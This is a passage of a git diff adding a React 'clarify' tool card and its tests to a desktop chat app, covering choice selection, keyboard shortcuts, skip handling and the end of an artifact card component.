+    return slugMatch ?? null
+  }, [detection.kind, registry, sessionId, trimmed])
+
+  const lineCount = useMemo(() => trimmed.split('\n').length, [trimmed])
+  const kindLabel = copy.kind[detection.kind]
+  const versionCount = record?.versions.length ?? 0
+  const title = (record?.title || detection.title || kindLabel).trim() || kindLabel
+
+  const open = () => {
+    if (streaming || !sessionId || !trimmed) {
+      return
+    }
+
+    // Ensure the registry row exists even if the completion effect hasn't
+    // fired yet (e.g. clicked in the same frame the stream sealed).
+    const result = upsertArtifact(sessionId, detection, trimmed)
+
+    if (!result) {
+      return
+    }
+
+    // An older card opens at ITS version, not silently the newest — the user
+    // clicked this specific iteration.
+    const versionIndex = result.record.versions.findIndex(version => version.content === trimmed)
+
+    openArtifact(result.artifactId, versionIndex === -1 ? undefined : versionIndex)
+  }
+
+  return (
+    <button
+      className={cn(
+        WIDGET_SHELL_CLASS,
+        'group/artifact my-1.5 flex w-full max-w-md items-center gap-2.5 overflow-hidden text-left',
+        streaming ? 'cursor-default' : 'cursor-pointer'
+      )}
+      data-slot="aui_artifact-card"
+      disabled={streaming}
+      onClick={open}
+      type="button"
+    >
+      <span className="grid size-8 shrink-0 place-items-center rounded-md bg-muted/55 text-muted-foreground">
+        <CodeCardIcon className="text-[1rem]" name={detectionIcon(detection)} />
+      </span>
+      <span className="min-w-0 flex-1">
+        <span
+          className={cn(
+            'block truncate text-[length:var(--conversation-text-font-size)] font-medium text-foreground',
+            streaming && 'shimmer text-foreground/55'
+          )}
+        >
+          {title}
+        </span>
+        <span className="block truncate text-[length:var(--conversation-tool-font-size)] text-muted-foreground">
+          {streaming
+            ? copy.generating(lineCount)
+            : versionCount > 1
+              ? `${kindLabel} · ${copy.versionBadge(versionCount)}`
+              : kindLabel}
+        </span>
+      </span>
+      {!streaming && (
+        <span className="shrink-0 text-[length:var(--conversation-tool-font-size)] font-medium text-muted-foreground opacity-0 transition-opacity group-hover/artifact:opacity-100">
+          {copy.open}
+        </span>
+      )}
+    </button>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/clarify-tool.test.tsx b/ui-desktop/src/components/assistant-ui/clarify-tool.test.tsx
new file mode 100644
index 000000000..ecb4c6c2f
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/clarify-tool.test.tsx
@@ -0,0 +1,343 @@
+import type { ToolCallMessagePartProps } from '@assistant-ui/react'
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import type { ReactNode } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { onComposerInsertRequest } from '@/app/chat/composer/focus'
+import { I18nProvider } from '@/i18n'
+import { clearClarifyRequest, setClarifyRequest } from '@/store/clarify'
+import { $gateway } from '@/store/gateway'
+import { $activeSessionId } from '@/store/session'
+
+import { ClarifyTool, readClarifyResult } from './clarify-tool'
+
+// The live pending card only renders while its message is running. Force that so
+// keyboard-navigation tests can exercise ClarifyToolPending directly.
+vi.mock('@assistant-ui/react', () => ({
+  useAuiState: () => true
+}))
+
+afterEach(() => {
+  cleanup()
+  clearClarifyRequest()
+  $activeSessionId.set(null)
+  $gateway.set(null)
+  vi.clearAllMocks()
+})
+
+function renderClarify(ui: ReactNode) {
+  return render(
+    <I18nProvider configClient={null} initialLocale="en">
+      {ui}
+    </I18nProvider>
+  )
+}
+
+function settledClarifyProps(
+  args: ToolCallMessagePartProps['args'],
+  result: ToolCallMessagePartProps['result'],
+  toolCallId: string
+): ToolCallMessagePartProps {
+  return {
+    addResult: vi.fn(),
+    args,
+    argsText: JSON.stringify(args),
+    isError: false,
+    respondToApproval: vi.fn(),
+    result,
+    resume: vi.fn(),
+    status: { type: 'complete' },
+    toolCallId,
+    toolName: 'clarify',
+    type: 'tool-call'
+  }
+}
+
+function liveClarifyProps(choices = ['staging', 'production']): ToolCallMessagePartProps {
+  const args = { choices, question: 'Which deployment target?' }
+
+  return {
+    addResult: vi.fn(),
+    args,
+    argsText: JSON.stringify(args),
+    isError: false,
+    respondToApproval: vi.fn(),
+    result: undefined,
+    resume: vi.fn(),
+    status: { type: 'running' },
+    toolCallId: 'clarify-live',
+    toolName: 'clarify',
+    type: 'tool-call'
+  }
+}
+
+function renderLiveClarify() {
+  const request = vi.fn().mockResolvedValue({ ok: true })
+
+  $activeSessionId.set('session-1')
+  $gateway.set({ request } as never)
+  setClarifyRequest({
+    choices: ['staging', 'production'],
+    question: 'Which deployment target?',
+    requestId: 'request-1',
+    sessionId: 'session-1'
+  })
+  renderClarify(<ClarifyTool {...liveClarifyProps()} />)
+
+  return request
+}
+
+describe('readClarifyResult', () => {
+  it('reads question + user_response from the tool JSON payload', () => {
+    expect(
+      readClarifyResult({
+        question: 'Which target?',
+        choices_offered: ['staging', 'prod'],
+        user_response: 'staging'
+      })
+    ).toEqual({
+      question: 'Which target?',
+      answer: 'staging',
+      error: undefined
+    })
+  })
+
+  it('parses a JSON string result the same way as an object', () => {
+    expect(
+      readClarifyResult(
+        JSON.stringify({
+          question: 'Ship it?',
+          user_response: 'yes'
+        })
+      )
+    ).toEqual({
+      question: 'Ship it?',
+      answer: 'yes',
+      error: undefined
+    })
+  })
+
+  it('keeps an empty user_response so Skip can render as skipped', () => {
+    expect(readClarifyResult({ question: 'Ok?', user_response: '' })).toEqual({
+      question: 'Ok?',
+      answer: '',
+      error: undefined
+    })
+  })
+})
+
+describe('ClarifyTool settled view', () => {
+  it('keeps the question and answer visible after the tool completes', () => {
+    renderClarify(
+      <ClarifyTool
+        {...settledClarifyProps(
+          { question: 'Which deployment target?', choices: ['staging', 'prod'] },
+          {
+            question: 'Which deployment target?',
+            choices_offered: ['staging', 'prod'],
+            user_response: 'staging'
+          },
+          'clarify-1'
+        )}
+      />
+    )
+
+    expect(screen.getByText('Which deployment target?')).toBeTruthy()
+    expect(screen.getByText('staging')).toBeTruthy()
+    expect(document.querySelector('[data-clarify-settled]')).toBeTruthy()
+    expect(document.querySelector('[data-clarify-answer]')?.textContent).toBe('staging')
+  })
+
+  it('labels an empty response as Skipped', () => {
+    renderClarify(
+      <ClarifyTool
+        {...settledClarifyProps(
+          { question: 'Anything else?' },
+          { question: 'Anything else?', user_response: '' },
+          'clarify-2'
+        )}
+      />
+    )
+
+    expect(screen.getByText('Anything else?')).toBeTruthy()
+    expect(screen.getByText('Skipped')).toBeTruthy()
+  })
+
+  it('keeps the original choices visible and clickable after a skip', async () => {
+    const inserts: string[] = []
+
+    const stop = onComposerInsertRequest(detail => {
+      inserts.push(detail.text)
+    })
+
+    try {
+      renderClarify(
+        <ClarifyTool
+          {...settledClarifyProps(
+            { question: 'Which deployment target?', choices: ['staging', 'prod'] },
+            { question: 'Which deployment target?', user_response: '' },
+            'clarify-3'
+          )}
+        />
+      )
+
+      // The skip label renders AND the original options are still on screen.
+      expect(screen.getByText('Skipped')).toBeTruthy()
+      const group = document.querySelector('[data-clarify-late-choices]')
+      expect(group).toBeTruthy()
+      expect(screen.getByText('staging')).toBeTruthy()
+      expect(screen.getByText('prod')).toBeTruthy()
+
+      // Picking one drafts a quoted follow-up into the composer. The insert
+      // bus defers dispatch by a macrotask, so flush one tick.
+      fireEvent.click(screen.getByText('prod'))
+      await new Promise(resolve => window.setTimeout(resolve, 0))
+
+      expect(inserts).toHaveLength(1)
+      expect(inserts[0]).toContain('Which deployment target?')
+      expect(inserts[0]).toContain('prod')
+    } finally {
+      stop()
+    }
+  })
+
+  it('does not render late choices on an answered clarify', () => {
+    renderClarify(
+      <ClarifyTool
+        {...settledClarifyProps(
+          { question: 'Which deployment target?', choices: ['staging', 'prod'] },
+          { question: 'Which deployment target?', user_response: 'staging' },
+          'clarify-4'
+        )}
+      />
+    )
+
+    expect(document.querySelector('[data-clarify-late-choices]')).toBeNull()
+  })
+
+  it('does not render late choices for a free-text (no-choice) skip', () => {
+    renderClarify(
+      <ClarifyTool
+        {...settledClarifyProps(
+          { question: 'Anything else?' },
+          { question: 'Anything else?', user_response: '' },
+          'clarify-5'
+        )}
+      />
+    )
+
+    expect(document.querySelector('[data-clarify-late-choices]')).toBeNull()
+  })
+})
+
+describe('ClarifyTool keyboard navigation', () => {
+  it('cycles through choices and Other with the arrow keys', () => {
+    renderLiveClarify()
+
+    const staging = screen.getByRole('button', { name: /staging/ })
+    const production = screen.getByRole('button', { name: /production/ })
+    const other = screen.getByPlaceholderText(/Other/)
+
+    expect(staging.getAttribute('data-highlighted')).toBe('true')
+    expect(staging.getAttribute('aria-current')).toBe('true')
+    expect(staging.getAttribute('aria-keyshortcuts')).toBe('A 1')
+
+    fireEvent.keyDown(window, { key: 'ArrowDown' })
+    expect(production.getAttribute('data-highlighted')).toBe('true')
+
+    fireEvent.keyDown(window, { key: 'ArrowDown' })
+    expect(other.closest('label')?.getAttribute('data-highlighted')).toBe('true')
+    expect(other.getAttribute('aria-current')).toBe('true')
+    expect(other.getAttribute('aria-keyshortcuts')).toBe('C 3')
+
+    fireEvent.keyDown(window, { key: 'ArrowDown' })
+    expect(staging.getAttribute('data-highlighted')).toBe('true')
+
+    fireEvent.keyDown(window, { key: 'ArrowUp' })
+    expect(other.closest('label')?.getAttribute('data-highlighted')).toBe('true')
+  })
+
+  it('selects by number and confirms the answer with Enter', async () => {
+    const request = renderLiveClarify()
+
+    fireEvent.keyDown(window, { key: '2' })
+    fireEvent.keyDown(window, { key: 'Enter' })
+
+    await waitFor(() => {
+      expect(request).toHaveBeenCalledWith('clarify.respond', {
+        answer: 'production',
+        request_id: 'request-1'
+      })
+    })
+  })
+
+  it('focuses Other when its number is pressed and leaves typing keys alone', () => {
+    renderLiveClarify()
+
+    const other = screen.getByPlaceholderText(/Other/)
+
+    fireEvent.keyDown(window, { key: '3' })
+    expect(document.activeElement).toBe(other)
+
+    fireEvent.change(other, { target: { value: 'canary' } })
+    fireEvent.keyDown(window, { key: 'ArrowUp' })
+    expect(document.activeElement).toBe(other)
+    expect((other as HTMLTextAreaElement).value).toBe('canary')
+  })
+
+  it('does not intercept keyboard events while an action button has focus', () => {
+    const request = renderLiveClarify()
+    const skip = screen.getByRole('button', { name: 'Skip' })
+
+    skip.focus()
+
+    expect(fireEvent.keyDown(window, { key: 'Enter' })).toBe(true)
+    expect(fireEvent.keyDown(window, { key: 'ArrowDown' })).toBe(true)
+    expect(request).not.toHaveBeenCalled()
+  })
+})
+
+describe('ClarifyTool pending marker', () => {
+  it('marks a live choices card with its row count so type-to-focus yields exactly its keys', () => {
+    renderLiveClarify()
+
+    // `clarifyCardOwnsKey` reads the count off this marker to yield only the
+    // shortcuts the card renders (A..N + "Other", 1-9, Enter) and let every
+    // other printable through to the composer.
+    const card = document.querySelector('[data-clarify-choices]')
+
+    expect(card).toBeTruthy()
+    expect(Number(card?.getAttribute('data-clarify-choices'))).toBeGreaterThan(0)
+  })
+
+  it('does not mark a free-text (no-choice) pending card', () => {
+    $activeSessionId.set('session-1')
+    $gateway.set({ request: vi.fn().mockResolvedValue({ ok: true }) } as never)
+    setClarifyRequest({
+      choices: null,
+      question: 'Anything else?',
+      requestId: 'request-1',
+      sessionId: 'session-1'
+    })
+
+    const args = { question: 'Anything else?' }
+    renderClarify(
+      <ClarifyTool
+        addResult={vi.fn()}
+        args={args}
+        argsText={JSON.stringify(args)}
+        isError={false}
+        respondToApproval={vi.fn()}
+        result={undefined}
+        resume={vi.fn()}
+        status={{ type: 'running' }}
+        toolCallId="clarify-free"
+        toolName="clarify"
+        type="tool-call"
+      />
+    )
+
+    // No shortcuts → nothing to protect → composer type-to-focus stays live.
+    expect(document.querySelector('[data-clarify-choices]')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/clarify-tool.tsx b/ui-desktop/src/components/assistant-ui/clarify-tool.tsx
new file mode 100644
index 000000000..57e861042
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/clarify-tool.tsx
@@ -0,0 +1,645 @@
+'use client'
+
+import { type ToolCallMessagePartProps, useAuiState } from '@assistant-ui/react'
+import { useStore } from '@nanostores/react'
+import {
+  type ComponentProps,
+  type FormEvent,
+  type KeyboardEvent,
+  useCallback,
+  useEffect,
+  useMemo,
+  useRef,
+  useState
+} from 'react'
+
+import { requestComposerFocus, requestComposerInsert } from '@/app/chat/composer/focus'
+import { useSessionView } from '@/app/chat/session-view'
+import { ToolFallback } from '@/components/assistant-ui/tool/fallback'
+import { WIDGET_SHELL_CLASS } from '@/components/chat/widget-shell'
+import { Button } from '@/components/ui/button'
+import { Kbd } from '@/components/ui/kbd'
+import { Textarea } from '@/components/ui/textarea'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { CircleLetterA, Loader2, MessageQuestion } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { clearClarifyRequest, normalizeChoices, sessionClarifyRequest, warnDroppedChoices } from '@/store/clarify'
+import { $gateway } from '@/store/gateway'
+import { notifyError } from '@/store/notifications'
+
+import { selectMessageRunning } from './tool/fallback-model'
+import { parseMaybeObject } from './tool/fallback-model/format'
+
+interface ClarifyArgs {
+  question?: string
+  choices?: string[] | null
+}
+
+interface ClarifyResult {
+  question?: string
+  answer?: string
+  error?: string
+}
+
+function stringField(row: Record<string, unknown>, ...keys: string[]): string | undefined {
+  for (const key of keys) {
+    const value = row[key]
+
+    if (typeof value === 'string') {
+      return value
+    }
+  }
+}
+
+function readClarifyArgs(args: unknown): ClarifyArgs {
+  const row = parseMaybeObject(args)
+  const rawChoices = row.choices
+  const choices = normalizeChoices(rawChoices)
+
+  const question = stringField(row, 'question')
+
+  if (rawChoices != null && choices.length === 0 && question) {
+    warnDroppedChoices('tool_args', question, rawChoices)
+  }
+
+  return {
+    question,
+    choices: choices.length > 0 ? choices : null
+  }
+}
+
+/** Parse clarify tool JSON (`question` + `user_response`). */
+export function readClarifyResult(result: unknown): ClarifyResult {
+  const row = parseMaybeObject(result)
+
+  if (Object.keys(row).length === 0) {
+    return typeof result === 'string' && result.trim() ? { answer: result.trim() } : {}
+  }
+
+  return {
+    question: stringField(row, 'question'),
+    answer: stringField(row, 'user_response', 'answer'),
+    error: stringField(row, 'error')
+  }
+}
+
+const letterFor = (index: number): string => String.fromCharCode(65 + index)
+
+const OPTION_ROW_CLASS =
+  'flex w-full items-start gap-2 rounded-[0.25rem] px-1.5 py-1 text-left disabled:cursor-not-allowed disabled:opacity-50'
+
+// field-sizing on top of Textarea's shared chrome; kill min-h-16 for one-liners.
+const CLARIFY_TEXTAREA_CLASS = 'field-sizing-content max-h-40 min-h-0 resize-none'
+
+const CLARIFY_SHELL_CLASS = `${WIDGET_SHELL_CLASS} text-[length:var(--conversation-text-font-size)] text-(--ui-text-primary)`
+
+const CLARIFY_ICON_CLASS = 'mt-px size-4 shrink-0 text-(--ui-text-tertiary)'
+
+function ClarifyShell({ children, className, ...props }: ComponentProps<'div'>) {
+  return (
+    <div className={cn(CLARIFY_SHELL_CLASS, className)} data-slot="clarify-inline" {...props}>
+      {children}
+    </div>
+  )
+}
+
+function ClarifyLine({
+  children,
+  className,
+  icon: Icon,
+  ...props
+}: ComponentProps<'div'> & { icon: typeof MessageQuestion }) {
+  return (
+    <div className={cn('flex items-start gap-2', className)} {...props}>
+      <div className="min-w-0 flex-1">{children}</div>
+      <Icon aria-hidden className={CLARIFY_ICON_CLASS} />
+    </div>
+  )
+}
+
+function KeyBadge({ char, preview, selected }: { char: string; preview?: boolean; selected: boolean }) {
+  return (
+    <Kbd
+      className={cn(
+        'mt-px',
+        selected && 'border-primary bg-primary text-white shadow-none',
+        !selected && preview && 'border-primary text-primary shadow-none'
+      )}
+      size="sm"
+    >
+      {char}
+    </Kbd>
+  )
+}
+
+/** A letter-badged option row. Shared by the live pending card (where a click
+ * selects an answer) and the settled skip card (where a click drafts a
+ * follow-up), so both stay visually identical. */
+function ChoiceButton({
+  active = false,
+  char,
+  choice,
+  disabled,
+  keyShortcuts,
+  onClick,
+  selected = false,
+  title
+}: {
+  active?: boolean
+  char: string
+  choice: string
+  disabled?: boolean
+  keyShortcuts?: string
+  onClick: () => void
+  selected?: boolean
+  title?: string
+}) {
+  // `Tip` is the repo's themed replacement for native `title=` (a native
+  // tooltip on a <button> is banned by the no-native-title guard). It renders
+  // the child untouched when `label` is falsy, so the live card (no tip) is
+  // unaffected and only the settled skip card gets the hover hint.
+  //
+  // `active` is the keyboard cursor on the live card (arrow-key navigation);
+  // it highlights the row and previews its key badge. The settled skip card
+  // never passes it, so its rows stay plain.
+  return (
+    <Tip label={title}>
+      <button
+        aria-current={active || undefined}
+        aria-keyshortcuts={keyShortcuts}
+        className={cn(
+          OPTION_ROW_CLASS,
+          'text-(--ui-text-secondary) hover:bg-(--chrome-action-hover) hover:text-(--ui-text-primary)',
+          active && 'bg-(--chrome-action-hover) text-(--ui-text-primary)',
+          selected && 'text-(--ui-text-primary)'
+        )}
+        data-choice
+        data-highlighted={active || undefined}
+        disabled={disabled}
+        onClick={onClick}
+        type="button"
+      >
+        <KeyBadge char={char} preview={active} selected={selected} />
+        <span className="flex-1 wrap-anywhere">{choice}</span>
+      </button>
+    </Tip>
+  )
+}
+
+export const ClarifyTool = (props: ToolCallMessagePartProps) => {
+  // Answered → settled Q&A (ToolFallback collapsed the answer away).
+  if (props.result !== undefined) {
+    return <ClarifyToolSettled {...props} />
+  }
+
+  return <ClarifyToolLive {...props} />
+}
+
+function ClarifyToolLive(props: ToolCallMessagePartProps) {
+  const messageRunning = useAuiState(selectMessageRunning)
+
+  // Stopped mid-prompt with no result — don't leave a dead interactive panel.
+  if (!messageRunning) {
+    return <ToolFallback {...props} />
+  }
+
+  return <ClarifyToolPending {...props} />
+}
+
+function ClarifyToolSettled({ args, result }: ToolCallMessagePartProps) {
+  const { t } = useI18n()
+  const copy = t.assistant.clarify
+  const fromArgs = useMemo(() => readClarifyArgs(args), [args])
+  const fromResult = useMemo(() => readClarifyResult(result), [result])
+
+  const question = fromResult.question || fromArgs.question || ''
+  const answer = fromResult.answer
+  const error = fromResult.error
+  const skipped = !error && answer !== undefined && !answer.trim()
+  const answerText = error || (skipped ? copy.skipped : (answer ?? '').trim())
+  const choices = fromArgs.choices ?? []
+
+  // A skipped (timed-out) clarify keeps its choices on screen and actionable.
+  // The blocking request is long gone — the tool already returned empty — so a
+  // pick can't resolve it retroactively. Instead it drafts a quoted follow-up
+  // into the composer (Enter sends; if the agent is mid-turn it queues like
+  // any other prompt). Without this the card collapsed to just "Skipped" and
+  // the options were unrecoverable.
+  const followUp = useCallback(
+    (choice: string) => {
+      requestComposerInsert(copy.lateAnswer(question, choice), { mode: 'block' })
+      requestComposerFocus()
+      triggerHaptic('selection')
+    },
+    [copy, question]
+  )
+
+  return (
+    <ClarifyShell className="my-1.5 grid gap-1.5" data-clarify-settled="">
+      {question ? (
+        <ClarifyLine icon={MessageQuestion}>
+          <span className="whitespace-pre-wrap font-medium leading-(--conversation-line-height)">{question}</span>
+        </ClarifyLine>
+      ) : null}
+      {answerText ? (
+        <ClarifyLine icon={CircleLetterA}>
+          <p
+            className={cn(
+              'whitespace-pre-wrap leading-(--conversation-line-height)',
+              error ? 'text-destructive' : 'text-(--ui-text-secondary)',
+              skipped && 'italic text-(--ui-text-tertiary)'
+            )}
+            data-clarify-answer=""
+          >
+            {answerText}
+          </p>
+        </ClarifyLine>
+      ) : null}
+      {skipped && choices.length > 0 ? (
+        <div className="grid gap-px" data-clarify-late-choices="" role="group">
+          {choices.map((choice, index) => (
+            <ChoiceButton
+              char={letterFor(index)}
+              choice={choice}
+              key={`${index}-${choice}`}
+              onClick={() => followUp(choice)}
+              title={copy.lateAnswerTip}
+            />
+          ))}
+          <p className="px-1.5 pt-0.5 text-[0.6875rem] leading-4 text-(--ui-text-tertiary)">{copy.lateAnswerHint}</p>
+        </div>
+      ) : null}
+    </ClarifyShell>
+  )
+}
+
+function ClarifyToolPending({ args }: ToolCallMessagePartProps) {
+  const { t } = useI18n()
+  const copy = t.assistant.clarify
+  // The tool row is in whichever session's transcript rendered it — read THAT
+  // session's clarify (primary or tile), not the globally-active one.
+  const sessionId = useStore(useSessionView().$runtimeId)
+  const $request = useMemo(() => sessionClarifyRequest(sessionId), [sessionId])
+  const request = useStore($request)
+  const gateway = useStore($gateway)
+  const fromArgs = useMemo(() => readClarifyArgs(args), [args])
+
+  const matchingRequest = useMemo(() => {
+    if (!request) {
+      return null
+    }
+
+    if (fromArgs.question && request.question && fromArgs.question !== request.question) {
+      return null
+    }
+
+    return request
+  }, [fromArgs.question, request])
+
+  const question = fromArgs.question || matchingRequest?.question || ''
+
+  const choices = useMemo(
+    () => fromArgs.choices ?? matchingRequest?.choices ?? [],
+    [fromArgs.choices, matchingRequest?.choices]
+  )
+
+  const hasChoices = choices.length > 0
+
+  const [draft, setDraft] = useState('')
+  const [submitting, setSubmitting] = useState(false)
+  const [selectedChoice, setSelectedChoice] = useState<string | null>(null)
+  // The keyboard cursor. Indices 0..choices.length-1 are the options; the
+  // trailing index (=== choices.length) is the "Other" free-text row.
+  const [activeIndex, setActiveIndex] = useState(0)
+  const [otherFocused, setOtherFocused] = useState(false)
+  const textareaRef = useRef<HTMLTextAreaElement | null>(null)
+
+  // Race: tool.start fires a tick before clarify.request, so request_id
+  // arrives slightly after the tool block mounts. Hold the whole panel on a
+  // spinner until the gateway request is wired — showing disabled choices or
+  // a "loading question" stub is worse than a brief wait.
+  const ready = Boolean(matchingRequest?.requestId)
+  const loading = !ready && !submitting
+
+  const respond = useCallback(
+    async (answer: string) => {
+      if (!ready || !matchingRequest) {
+        notifyError(new Error(copy.notReady), copy.sendFailed)
+
+        return
+      }
+
+      if (!gateway) {
+        notifyError(new Error(copy.gatewayDisconnected), copy.sendFailed)
+
+        return
+      }
+
+      setSubmitting(true)
+
+      try {
+        await gateway.request<{ ok?: boolean }>('clarify.respond', {
+          request_id: matchingRequest.requestId,
+          answer
+        })
+        triggerHaptic('submit')
+        clearClarifyRequest(matchingRequest.requestId, matchingRequest.sessionId)
+        // tool.complete lands next → ClarifyToolSettled.
+      } catch (error) {
+        notifyError(error, copy.sendFailed)
+        setSubmitting(false)
+      }
+    },
+    [copy.gatewayDisconnected, copy.notReady, copy.sendFailed, gateway, matchingRequest, ready]
+  )
+
+  const trimmedDraft = draft.trim()
+  // The answer is whichever input is active: a picked choice, or typed text.
+  // Picking a choice no longer fires immediately — it selects, then the user
+  // confirms with Continue (or Enter from the field).
+  const pendingAnswer = selectedChoice ?? (trimmedDraft || null)
+
+  const selectChoice = useCallback((choice: string, index: number) => {
+    // Picking a choice and typing are mutually exclusive answers.
+    setDraft('')
+    setSelectedChoice(choice)
+    setActiveIndex(index)
+  }, [])
+
+  // Keep the cursor in range when the choice set changes (never past "Other").
+  useEffect(() => {
+    setActiveIndex(index => Math.min(index, choices.length))
+  }, [choices.length])
+
+  const moveActive = useCallback(
+    (delta: number) => {
+      const itemCount = choices.length + 1
+
+      // Arrow navigation is a move, not a pick — clear any staged answer so the
+      // cursor and the selection can't disagree.
+      setDraft('')
+      setSelectedChoice(null)
+      setActiveIndex(index => (index + delta + itemCount) % itemCount)
+    },
+    [choices.length]
+  )
+
+  const submitAnswer = useCallback(() => {
+    if (selectedChoice !== null) {
+      void respond(selectedChoice)
+
+      return
+    }
+
+    if (trimmedDraft) {
+      void respond(trimmedDraft)
+    }
+  }, [respond, selectedChoice, trimmedDraft])
+
+  const activateActive = useCallback(() => {
+    // A staged answer (picked choice or typed text) wins — confirm it.
+    if (pendingAnswer) {
+      submitAnswer()
+
+      return
+    }
+
+    // Otherwise act on the highlighted row: a choice responds immediately, and
+    // the trailing "Other" row focuses the free-text field.
+    const choice = choices[activeIndex]
+
+    if (choice) {
+      void respond(choice)
+
+      return
+    }
+
+    textareaRef.current?.focus()
+  }, [activeIndex, choices, pendingAnswer, respond, submitAnswer])
+
+  const handleTextareaKey = useCallback(
+    (event: KeyboardEvent<HTMLTextAreaElement>) => {
+      if (event.nativeEvent.isComposing) {
+        return
+      }
+
+      if (event.key === 'Enter' && !event.shiftKey) {
+        event.preventDefault()
+        submitAnswer()
+      }
+    },
+    [submitAnswer]
+  )
+
+  const handleSubmit = useCallback(
+    (event: FormEvent<HTMLFormElement>) => {
+      event.preventDefault()
+      submitAnswer()
+    },
+    [submitAnswer]
+  )
+
+  // Arrow keys move a visual cursor, 1-9 and A/B/C… pick directly, and Enter
+  // confirms the current answer (or acts on the highlighted row). Stands down
+  // whenever a focusable control (a field, a choice button, the action bar) is
+  // focused, so it never eats keystrokes meant for the composer, the Other box,
+  // or a button the user tabbed to.
+  useEffect(() => {
+    if (!ready || !hasChoices || submitting) {
+      return
+    }
+
+    const onKeyDown = (event: globalThis.KeyboardEvent) => {
+      if (event.metaKey || event.ctrlKey || event.altKey || event.defaultPrevented) {
+        return
+      }
+
+      const active = document.activeElement as HTMLElement | null
+
+      if (
+        active &&
+        (active.isContentEditable || active.matches('a[href], button, input, select, textarea, [role="button"]'))
+      ) {
+        return
+      }
+
+      if (event.key === 'ArrowDown' || event.key === 'ArrowUp') {
+        event.preventDefault()
+        moveActive(event.key === 'ArrowDown' ? 1 : -1)
+
+        return
+      }
+
+      if (/^[1-9]$/.test(event.key)) {
+        const index = Number(event.key) - 1
+
+        if (index < choices.length) {
+          event.preventDefault()
+          selectChoice(choices[index], index)
+        } else if (index === choices.length) {
+          event.preventDefault()
+          setActiveIndex(index)
+          textareaRef.current?.focus()
+        }
+
+        return
+      }
+
+      const key = event.key.toLowerCase()
+
+      // Only the letters this card actually renders a row for. Anything past
+      // the last row belongs to the composer — the user is typing a message
+      // instead of picking an option, and swallowing the keystroke here would
+      // make the first letter of it vanish.
+      if (key.length === 1 && key >= 'a' && key <= 'z') {
+        const index = key.charCodeAt(0) - 97
+
+        if (index < choices.length) {
+          event.preventDefault()
+          selectChoice(choices[index], index)
+        } else if (index === choices.length) {
+          event.preventDefault()
+          setActiveIndex(index)
+          textareaRef.current?.focus()
+        }
+
+        return
+      }
+
+      if (event.key === 'Enter') {
+        event.preventDefault()
+        activateActive()
+      }
+    }
+
+    window.addEventListener('keydown', onKeyDown)
+
+    return () => window.removeEventListener('keydown', onKeyDown)
+  }, [activateActive, choices, hasChoices, moveActive, ready, selectChoice, submitting])
+
+  if (loading) {
+    return (
+      <ClarifyShell aria-label={copy.loadingQuestion} className="my-1.5 grid min-h-12 place-items-center" role="status">
+        <Loader2 aria-hidden className="size-4 animate-spin text-(--ui-text-tertiary)" />
+      </ClarifyShell>
+    )
+  }
+
+  const onDraftChange = (value: string) => {
+    setDraft(value)
+
+    // Typing is its own answer — drop any picked choice so the two inputs can't
+    // both look selected.
+    if (value.trim()) {
+      setSelectedChoice(null)
+    }
+  }
+
+  return (
+    // `data-clarify-choices` marks the panel as owning its OWN shortcut keys
+    // (Enter, and 1..N+1 / A.. for the N choices plus "Other") while they're
+    // live, so the global type-to-focus listener (`clarifyCardOwnsKey`) yields
+    // exactly those and lets every other printable through to the composer —
+    // typing a real message instead of picking an option stays possible. The
+    // value is the choice count so the check needs no store access.
+    //
+    // The form is the outer element so the actions can sit OUTSIDE the card and
+    // still submit it — the panel holds the question, the buttons ride below it.
+    <form
+      className="my-1.5 grid gap-4"
+      data-clarify-choices={hasChoices ? choices.length : undefined}
+      onSubmit={handleSubmit}
+    >
+      <ClarifyShell className="grid gap-2">
+        <div className="flex items-start gap-2">
+          <span className="flex-1 whitespace-pre-wrap font-medium leading-(--conversation-line-height)">
+            {question}
+          </span>
+          <MessageQuestion aria-hidden className="mt-px size-4 shrink-0 text-(--ui-text-tertiary)" />
+        </div>
+
+        {hasChoices ? (
+          <div className="grid gap-px" role="group">
+            {choices.map((choice, index) => (
+              <ChoiceButton
+                active={activeIndex === index}
+                char={letterFor(index)}
+                choice={choice}
+                disabled={submitting}
+                key={`${index}-${choice}`}
+                keyShortcuts={`${letterFor(index)} ${index + 1}`}
+                onClick={() => selectChoice(choice, index)}
+                selected={selectedChoice === choice}
+              />
+            ))}
+            <label
+              className={cn(
+                OPTION_ROW_CLASS,
+                'items-center',
+                activeIndex === choices.length && 'bg-(--chrome-action-hover)'
+              )}
+              data-highlighted={activeIndex === choices.length || undefined}
+            >
+              <KeyBadge
+                char={letterFor(choices.length)}
+                preview={otherFocused || activeIndex === choices.length}
+                selected={Boolean(trimmedDraft)}
+              />
+              <Textarea
+                aria-current={activeIndex === choices.length || undefined}
+                aria-keyshortcuts={`${letterFor(choices.length)} ${choices.length + 1}`}
+                className={CLARIFY_TEXTAREA_CLASS}
+                disabled={submitting}
+                onBlur={() => setOtherFocused(false)}
+                onChange={event => onDraftChange(event.target.value)}
+                onFocus={() => {
+                  setSelectedChoice(null)
+                  setActiveIndex(choices.length)
+                  setOtherFocused(true)
+                }}
+                onKeyDown={handleTextareaKey}
+                placeholder={copy.other}
+                ref={textareaRef}
+                rows={1}
+                size="sm"
+                value={draft}
+              />
+            </label>
+          </div>
+        ) : (
+          <Textarea
+            className={CLARIFY_TEXTAREA_CLASS}
+            disabled={submitting}
+            onChange={event => onDraftChange(event.target.value)}
+            onKeyDown={handleTextareaKey}
+            placeholder={copy.placeholder}
+            ref={textareaRef}
+            rows={1}
+            size="sm"
+            value={draft}
+          />
+        )}
+      </ClarifyShell>
+
+      <div className="flex items-center justify-end gap-1">
+        <Button disabled={submitting} onClick={() => void respond('')} size="xs" type="button" variant="text">
+          {copy.skip}
+        </Button>
+        <Button disabled={submitting || !pendingAnswer} size="xs" type="submit">
+          {submitting ? (
+            <Loader2 className="size-3 animate-spin" />
+          ) : (
+            <>
+              {copy.continueLabel}
+              <span aria-hidden className="ml-0.5 text-[0.625rem] opacity-70">
+                ⏎
+              </span>
+            </>
+          )}
+        </Button>
+      </div>
+    </form>
+  )
